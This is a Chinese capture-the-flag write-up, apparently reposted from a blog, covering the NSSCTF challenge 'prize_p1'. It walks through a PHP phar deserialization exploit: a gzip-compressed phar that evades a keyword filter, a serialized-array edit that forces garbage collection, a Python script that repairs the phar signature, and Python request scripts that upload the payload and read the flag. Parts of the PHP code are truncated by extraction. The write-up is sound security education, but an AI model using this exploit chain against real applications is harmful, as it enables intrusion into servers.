记一道CTF中的phar反序列化
Author: takahashi
提要
最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。
思路上参考了atao, xenny两位师傅的WriteUp。 题目出的很棒, 学到了很多东西!
平台: NSSCTF
题目名:prize_p1
开始做题咯~
打开环境, 映入眼帘的就是源码
config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } }}if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。");}unserialize($_GET[0]);throw new Error("那么就从这里开始起航吧");
简单过一遍代码可以看到在倒数第二行有一个unserialize反序列化的函数,继续审计代码可以发现主要利用点在file_get_contents和file_put_contents两个函数上面。再往上看可以看到最终要打的内容, 通过getflag类中的__destruct魔术方法拿到flag。
理完一遍思路之后重新审计一下代码
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } }}
通过config的值去控制文件读写, 审计一下正则发现基本上把伪协议都过滤了, 直接new getflag也不行,这种情况下十六进制类名也绕不了,再仔细审计一下发现虽然phar伪协议没有作限制。但是对类名作了过滤, 这个时候我就没什么思路了。
Phar混淆
找了会儿资料但是没什么思路, 只能去求救大佬。 去问了个牛纸, 他给我推了篇文章, 大致原理就是用其他的压缩格式再对phar文件进行压缩达到混淆的效果, 部分压缩格式混淆过的phar内容同样可以直接被phar://伪协议解析。
事不宜迟, 写个脚本生成phar文件
startBuffering(); $phar->setStub(""); $phar -> setMetadata($a); $phar->addFromString("1.txt", "123"); $phar->stopBuffering();?>
然后用gzip压缩
然后写个脚本上传一下
import requestsurl = ""phar = open("takahashi.phar.gz", "rb")sentData = { 0: phar.read()}phar.close()requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data=sentData)response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://./tmp/a.txt"})print(response.text)
但是运行之后却没有flag, 本地调试的时候发现phar反序列化结束后会提前被最后一行的异常抛出给强行终止程序运行, 导致__destruct无法成功执行。
throw new Error("那么就从这里开始起航吧");
PHP强制GC绕过
这一块实在是没什么思路去绕过, 于是参考了一下xenny和atao两位师傅的wp, 此处用的是xenny师傅的思路, 修改文件内容 -> 签名修复 -> 文件上传。
atao师傅用的思路是上面文章里面的第二种方法, 这边就顺着我最初的思路延伸继续用gzip。atao师傅讲的也是真的不错, 对里面的内容进行了补充。
针对PHP的GC内容此处不多赘述, 如果对此知识点不是很熟悉可以看看这几篇文章:
php的垃圾回收机制(gc)_m313557552的博客-CSDN博客
构造一下替换的内容
分析一下POC, 首先创建了一个有2个元素的数组, 序列化结果如下:
// 蓝色字体代表元素在数组中的位置, 红色字体代表元素值
a:2:{i:0;O:7:"getflag":0:{}i:1;i:1;}
使用替换函数后生成的结果如下
a:2:{i:0;O:7:"getflag":0:{}i:0;i:1;}
可见第二个元素移动到了第一个元素的位置, O:7:"getflag":0:{}
失去了引用, 被PHP强制回收从而销毁对象触发__destruct()魔术方法。
修复文件签名
在二次复现时发现直接对文本内容修改然后用X尼师傅的脚本跑发现修复后的文件后八位值会改变, 建议重新生成phar文件然后用winhex或010等工具修改十六进制。
startBuffering(); $phar->setStub(""); $phar -> setMetadata($a); $phar->addFromString("1.txt", "123"); $phar->stopBuffering();?>
然后修复文件签名, 这边贴一下X尼师傅的脚本
from hashlib import sha1f = open('test.phar', 'rb').read() # 修改内容后的phar文件s = f[:-28] # 获取要签名的数据h = f[-8:] # 获取签名类型以及GBMB标识newf = s+sha1(s).digest() + h # 数据 + 签名 + 类型 + GBMBopen('takahashi.phar', 'wb').write(newf) # 写入新文件
修复后使用gzip压缩一下上传成功拿到flag。
import requestsurl = ""phar = open("test.phar.gz", "rb")requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data={0: phar.read()})phar.close()response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://tmp/a.txt"})response.encoding = "utf-8"print(response.text)
来源地址:https://blog.csdn.net/qq_53886354/article/details/126333147
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341